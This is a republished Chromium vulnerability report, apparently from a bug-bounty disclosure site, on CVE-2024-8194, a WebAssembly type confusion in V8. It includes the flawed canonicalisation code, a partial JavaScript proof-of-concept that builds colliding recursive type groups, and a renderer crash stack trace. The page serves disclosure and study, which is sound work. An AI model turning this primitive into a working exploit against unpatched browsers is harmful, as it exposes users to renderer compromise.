Skip to content
Memory corruption Advisory Advanced CVE-2024-8194

Type Confusion in V8 (CVE-2024-8194)

An incomplete fix for a previous V8 bug left a type confusion in WebAssembly type canonicalisation, allowing an attacker to craft modules that confuse heap type indices. This could lead to arbitrary read/write and renderer crashes, as demonstrated by a proof-of-concept that crashes the renderer.

Seunghyun Lee Follow

Originally disclosed on Chrome VRP

  • Fix shipped in 11 days

VULNERABILITY DETAILS

Summary

Arbitrary WASM type confusion due to incomplete fix of CVE-2024-6100, caused by wasm::ValueType::HeapTypeField index overflow.

Details

CVE-2024-6100 showed that we must not use wasm::ValueType to store canonical indices. However we are still using it to store canonical indices at wasm::TypeCanonicalizer::CanonicalizeValueType() to canonicalize value types:

CC
ValueType TypeCanonicalizer::CanonicalizeValueType(
    const WasmModule* module, ValueType type,
    uint32_t recursive_group_start) const {
  if (!type.has_index()) return type;
  return type.ref_index() >= recursive_group_start
             ? ValueType::CanonicalWithRelativeIndex(
                   type.kind(), type.ref_index() - recursive_group_start)
             : ValueType::FromIndex(
                   type.kind(),
                   module->isorecursive_canonical_type_ids[type.ref_index()]);  // [!]
}

This allows an attacker to canonicalize two different recursive groups into a single canonicalized recursive group with the same indices.

Note that since the ValueType constructor does not truncated the overflowed HeapType, this potentially results in setting CanonicalRelativeField to 1. An attacker can precisely create recursive groups as following (code from repro case poc.html):

JavaScript
let builder = new WasmModuleBuilder();
// target rec group
builder.startRecGroup();
builder.addStruct([makeField(wasmRefType(3), true)]);   // tidx 0, cidx 3 / field { (HeapTypeField 3, CanonicalRelativeField 1) = 0x100003 } 
builder.addArray(kWasmI32, true);                       // tidx 1, cidx 4
builder.addArray(kWasmI32, true);                       // tidx 2, cidx 5
builder.addStruct([makeField(kWasmExternRef, true)]);   // tidx 3, cidx 6 (ridx 3)
builder.endRecGroup();
let instance = builder.instantiate();   // total canon 7

reserve(1000000 - 7);                   // total canon 1000000
reserve(0x100003 - 1000000);            // total canon 0x1000003

builder = new WasmModuleBuilder();
let $s1 = builder.addStruct([makeField(kWasmI32, true)]);   // tidx 0, cidx 0x100003
// target rec group
builder.startRecGroup();
let $s2 = builder.addStruct([makeField(wasmRefType(4), true)]);     // tidx 1, cidx 3 / field { (HeapTypeField 3, CanonicalRelativeField 1) = 0x100003 } 
builder.addArray(kWasmI32, true);                                   // tidx 2, cidx 4
builder.addArray(kWasmI32, true);                                   // tidx 3, cidx 5
let $s3 = builder.addStruct([makeField(kWasmExternRef, true)]);     // tidx 4, cidx 6 (ridx 3)
builder.endRecGroup();
// rec group that canonicalizes into target rec group
builder.startRecGroup();
let $s4 = builder.addStruct([makeField(wasmRefType($s1), true)]);   // tidx 5, cidx 3? / field { (HeapTypeField 0x100003, CanonicalRelativeField 0) = 0x100003 } 
builder.addArray(kWasmI32, true);                                   // tidx 6, cidx 4?
builder.addArray(kWasmI32, true);                                   // tidx 7, cidx 5?
let $s5 = builder.addStruct([makeField(kWasmExternRef, true)]);     // tidx 8, cidx 6?
builder.endRecGroup();
// ...
let instance2 = builder.instantiate();

In the above example, we confuse an overflown HeapTypeField of value 0x100003 with HeapTypeField of value 3 together with CanonicalRelativeField value of 1.

This can easily be exploited to cause arbitrary WASM type confusion. Exploitation with such primitives is trivial and has been presented multiple times. (Pwn2Own Vancouver 2024, TyphoonPWN 2024, v8CTF submission 8d4d57cb2258, ...)

Bisect

Bug introduced by commit cfa8d0b in M102 that introduces isorecursive canonicalization.

VERSION

See bisect commit release info in Chromium Dash for more info: https://chromiumdash.appspot.com/commit/cfa8d0b35acb42e79382004e0f1625d5ae1a7493

Affects all Chrome builds with WasmGC available by default, which is M112 up to latest (M112 ~ M118 behind Origin Trials, later shipped in M119~). Note that some versions that backported 422cdc5 but not 2b43121 are not subject to the vulnerability as the maximum canonical index is capped to kV8MaxWasmTypes.

Chrome Version: M112 ~ latest (tested on 128.0.6613.36)
Operating System: All

REPRODUCTION CASE

Attached as poc.html which crashes the renderer trying to console.log(fakeobj(1)).

FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION

Type of crash: Renderer
Crash State: Crashes within console.log() operation.

Note that the exact crash location is irrelevant as this is a side-effect of the exploit primitive fakeobj(1) caused by WASM type confusion.

Stack Trace

Crash state & symbolized stack trace just for the record. Symbolized via VS2022 debugger on Windows x86-64, Chrome 128.0.6613.36 Official Build (Early Stable / Beta).

Text
chrome.dll!Builtins_ObjectToString()
chrome.dll!Builtins_ObjectPrototypeToString()
chrome.dll!Builtins_JSEntryTrampoline()
chrome.dll!Builtins_JSEntry()
chrome.dll!v8::internal::`anonymous namespace'::Invoke(v8::internal::Isolate * isolate, const v8::internal::`anonymous namespace'::InvokeParams & params) Line 438
	at C:\b\s\w\ir\cache\builder\src\v8\src\execution\execution.cc(438)
chrome.dll!v8::internal::Execution::CallBuiltin(v8::internal::Isolate * isolate, v8::internal::Handle<v8::internal::JSFunction> builtin, v8::internal::Handle<v8::internal::Object> receiver, int argc, v8::internal::Handle<v8::internal::Object> * argv) Line 530
	at C:\b\s\w\ir\cache\builder\src\v8\src\execution\execution.cc(530)
chrome.dll!v8::Object::ObjectProtoToString(v8::Local<v8::Context> context) Line 4941
	at C:\b\s\w\ir\cache\builder\src\v8\src\api\api.cc(4941)
chrome.dll!v8_inspector::`anonymous namespace'::V8ValueStringBuilder::append(v8::Local<v8::Value> value, unsigned int ignoreOptions) Line 123
	at C:\b\s\w\ir\cache\builder\src\v8\src\inspector\v8-console-message.cc(123)
[Inline Frame] chrome.dll!v8_inspector::`anonymous namespace'::V8ValueStringBuilder::toString(v8::Local<v8::Value> value, v8::Local<v8::Context> context) Line 77
	at C:\b\s\w\ir\cache\builder\src\v8\src\inspector\v8-console-message.cc(77)
chrome.dll!v8_inspector::V8ConsoleMessage::createForConsoleAPI(v8::Local<v8::Context> v8Context, int contextId, int groupId, v8_inspector::V8InspectorImpl * inspector, double timestamp, v8_inspector::ConsoleAPIType type, v8::MemorySpan<const v8::Local<v8::Value>> arguments, const v8_inspector::String16 & consoleContext, std::__Cr::unique_ptr<v8_inspector::V8StackTraceImpl,std::__Cr::default_delete<v8_inspector::V8StackTraceImpl>> stackTrace) Line 461
	at C:\b\s\w\ir\cache\builder\src\v8\src\inspector\v8-console-message.cc(461)
chrome.dll!v8_inspector::`anonymous namespace'::ConsoleHelper::reportCall(v8_inspector::ConsoleAPIType type, v8::MemorySpan<const v8::Local<v8::Value>> arguments) Line 142
	at C:\b\s\w\ir\cache\builder\src\v8\src\inspector\v8-console.cc(142)
chrome.dll!v8_inspector::`anonymous namespace'::ConsoleHelper::reportCall(v8_inspector::ConsoleAPIType type) Line 78
	at C:\b\s\w\ir\cache\builder\src\v8\src\inspector\v8-console.cc(78)
chrome.dll!v8_inspector::V8Console::Log(const v8::debug::ConsoleCallArguments & info, const v8::debug::ConsoleContext & consoleContext) Line 253
	at C:\b\s\w\ir\cache\builder\src\v8\src\inspector\v8-console.cc(253)
chrome.dll!v8::internal::`anonymous namespace'::ConsoleCall(v8::internal::Isolate * isolate, const v8::internal::BuiltinArguments & args, void(v8::debug::ConsoleDelegate::*)(const v8::debug::ConsoleCallArguments &, const v8::debug::ConsoleContext &) func) Line 171
	at C:\b\s\w\ir\cache\builder\src\v8\src\builtins\builtins-console.cc(171)
[Inline Frame] chrome.dll!v8::internal::Builtin_Impl_ConsoleLog(v8::internal::BuiltinArguments args, v8::internal::Isolate * isolate) Line 207
	at C:\b\s\w\ir\cache\builder\src\v8\src\builtins\builtins-console.cc(207)
chrome.dll!v8::internal::Builtin_ConsoleLog(int args_length, unsigned __int64 * args_object, v8::internal::Isolate * isolate) Line 207
	at C:\b\s\w\ir\cache\builder\src\v8\src\builtins\builtins-console.cc(207)
[External Code]
chrome.dll!v8::internal::`anonymous namespace'::Invoke(v8::internal::Isolate * isolate, const v8::internal::`anonymous namespace'::InvokeParams & params) Line 438
	at C:\b\s\w\ir\cache\builder\src\v8\src\execution\execution.cc(438)
chrome.dll!v8::internal::Execution::CallScript(v8::internal::Isolate * isolate, v8::internal::Handle<v8::internal::JSFunction> script_function, v8::internal::Handle<v8::internal::Object> receiver, v8::internal::Handle<v8::internal::Object> host_defined_options) Line 517
	at C:\b\s\w\ir\cache\builder\src\v8\src\execution\execution.cc(517)
chrome.dll!v8::Script::Run(v8::Local<v8::Context> context, v8::Local<v8::Data> host_defined_options) Line 2127
	at C:\b\s\w\ir\cache\builder\src\v8\src\api\api.cc(2127)
[Inline Frame] chrome.dll!blink::V8ScriptRunner::RunCompiledScript(v8::Isolate * isolate, v8::Local<v8::Script> script, v8::Local<v8::Data> host_defined_options, blink::ExecutionContext * context) Line 511
	at C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\bindings\core\v8\v8_script_runner.cc(511)
chrome.dll!blink::V8ScriptRunner::CompileAndRunScript(blink::ScriptState * script_state, blink::ClassicScript * classic_script, blink::ExecuteScriptPolicy policy, blink::V8ScriptRunner::RethrowErrorsOption rethrow_errors) Line 634
	at C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\bindings\core\v8\v8_script_runner.cc(634)
chrome.dll!blink::ClassicScript::RunScriptOnScriptStateAndReturnValue(blink::ScriptState * script_state, blink::ExecuteScriptPolicy policy, blink::V8ScriptRunner::RethrowErrorsOption rethrow_errors) Line 222
	at C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\core\script\classic_script.cc(222)
[Inline Frame] chrome.dll!blink::Script::RunScriptOnScriptState(blink::ScriptState * script_state, blink::ExecuteScriptPolicy execute_script_policy, blink::V8ScriptRunner::RethrowErrorsOption rethrow_errors) Line 33
	at C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\core\script\script.cc(33)
chrome.dll!blink::Script::RunScript(blink::LocalDOMWindow * window, blink::ExecuteScriptPolicy execute_script_policy, blink::V8ScriptRunner::RethrowErrorsOption rethrow_errors) Line 40
	at C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\core\script\script.cc(40)
chrome.dll!blink::PendingScript::ExecuteScriptBlockInternal(blink::Script * script, blink::ScriptElementBase * element, bool was_canceled, bool is_external, bool created_during_document_write, base::TimeTicks parser_blocking_load_start_time, bool is_controlled_by_script_runner) Line 297
	at C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\core\script\pending_script.cc(297)
chrome.dll!blink::PendingScript::ExecuteScriptBlock() Line 193
	at C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\core\script\pending_script.cc(193)
chrome.dll!blink::ScriptLoader::PrepareScript(blink::ScriptLoader::ParserBlockingInlineOption parser_blocking_inline_option, const WTF::TextPosition & script_start_position) Line 1262
	at C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\core\script\script_loader.cc(1262)
[Inline Frame] chrome.dll!blink::HTMLParserScriptRunner::ProcessScriptElementInternal(blink::Element * script, const WTF::TextPosition & script_start_position) Line 491
	at C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\core\script\html_parser_script_runner.cc(491)
chrome.dll!blink::HTMLParserScriptRunner::ProcessScriptElement(blink::Element * script_element, const WTF::TextPosition & script_start_position) Line 285
	at C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\core\script\html_parser_script_runner.cc(285)
[Inline Frame] chrome.dll!blink::HTMLDocumentParser::RunScriptsForPausedTreeBuilder() Line 678
	at C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\core\html\parser\html_document_parser.cc(678)
[Inline Frame] chrome.dll!blink::HTMLDocumentParser::CanTakeNextToken(base::TimeDelta & time_executing_script) Line 192
	at C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\core\html\parser\html_document_parser.h(192)
chrome.dll!blink::HTMLDocumentParser::PumpTokenizer() Line 748
	at C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\core\html\parser\html_document_parser.cc(748)
chrome.dll!blink::HTMLDocumentParser::PumpTokenizerIfPossible() Line 643
	at C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\core\html\parser\html_document_parser.cc(643)
chrome.dll!blink::HTMLDocumentParser::DeferredPumpTokenizerIfPossible(bool from_finish_append, base::TimeTicks schedule_time) Line 626
	at C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\core\html\parser\html_document_parser.cc(626)
[Inline Frame] chrome.dll!base::OnceCallback<void ()>::Run() Line 156
	at C:\b\s\w\ir\cache\builder\src\base\functional\callback.h(156)
[Inline Frame] chrome.dll!base::TaskAnnotator::RunTaskImpl(base::PendingTask & pending_task) Line 203
	at C:\b\s\w\ir\cache\builder\src\base\task\common\task_annotator.cc(203)
[Inline Frame] chrome.dll!base::TaskAnnotator::RunTask(perfetto::StaticString event_name, base::PendingTask & pending_task, base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl::<lambda_4> && args) Line 90
	at C:\b\s\w\ir\cache\builder\src\base\task\common\task_annotator.h(90)
[Inline Frame] chrome.dll!base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow * continuation_lazy_now) Line 484
	at C:\b\s\w\ir\cache\builder\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc(484)
chrome.dll!base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() Line 346
	at C:\b\s\w\ir\cache\builder\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc(346)
chrome.dll!base::MessagePumpDefault::Run(base::MessagePump::Delegate * delegate) Line 41
	at C:\b\s\w\ir\cache\builder\src\base\message_loop\message_pump_default.cc(41)
chrome.dll!base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool application_tasks_allowed, base::TimeDelta timeout) Line 657
	at C:\b\s\w\ir\cache\builder\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc(657)
chrome.dll!base::RunLoop::Run(const base::Location & location) Line 136
	at C:\b\s\w\ir\cache\builder\src\base\run_loop.cc(136)
chrome.dll!content::RendererMain(content::MainFunctionParams parameters) Line 367
	at C:\b\s\w\ir\cache\builder\src\content\renderer\renderer_main.cc(367)
chrome.dll!content::RunOtherNamedProcessTypeMain(const std::__Cr::basic_string<char,std::__Cr::char_traits<char>,std::__Cr::allocator<char>> & process_type, content::MainFunctionParams main_function_params, content::ContentMainDelegate * delegate) Line 798
	at C:\b\s\w\ir\cache\builder\src\content\app\content_main_runner_impl.cc(798)
chrome.dll!content::ContentMainRunnerImpl::Run() Line 1177
	at C:\b\s\w\ir\cache\builder\src\content\app\content_main_runner_impl.cc(1177)
[Inline Frame] chrome.dll!content::RunContentProcess(content::ContentMainParams params, content::ContentMainRunner * content_main_runner) Line 333
	at C:\b\s\w\ir\cache\builder\src\content\app\content_main.cc(333)
chrome.dll!content::ContentMain(content::ContentMainParams params) Line 346
	at C:\b\s\w\ir\cache\builder\src\content\app\content_main.cc(346)
chrome.dll!ChromeMain(HINSTANCE__ * instance, sandbox::SandboxInterfaceInfo * sandbox_info, __int64 exe_entry_point_ticks, __int64 preread_begin_ticks, __int64 preread_end_ticks) Line 232
	at C:\b\s\w\ir\cache\builder\src\chrome\app\chrome_main.cc(232)
[External Code]

CREDIT INFORMATION

Reporter credit: Seunghyun Lee (@0x10n)


Full exploit coming soon...

The original report as published on the Chromium issue tracker, by Seunghyun Lee (@0x10n). Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could achieve arbitrary WASM type confusion, potentially leading to code execution or a renderer crash; the proof-of-concept demonstrates a crash.

What the attacker needed

Chrome with WasmGC enabled (M112+); Ability to run JavaScript in the browser

How it was found

  1. Create a WASM module with a recursive group that has a struct field referencing a type index that overflows when canonicalised.
  2. Instantiate the module to reserve canonical indices up to a large value.
  3. Create a second WASM module with a recursive group that canonicalises to the same index as the first group's field.
  4. Instantiate the second module, causing type confusion between the two groups.
  5. Use the confusion to create a fake object and trigger a crash via console.log.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

WebAssembly (WASM) is a way to run code in the browser. V8 is Chrome's JavaScript engine. A type confusion bug means the engine treats one kind of data as another, which can let an attacker manipulate memory and potentially take over the browser.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by Seunghyun Lee

View all

14 more disclosed reports, best first.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.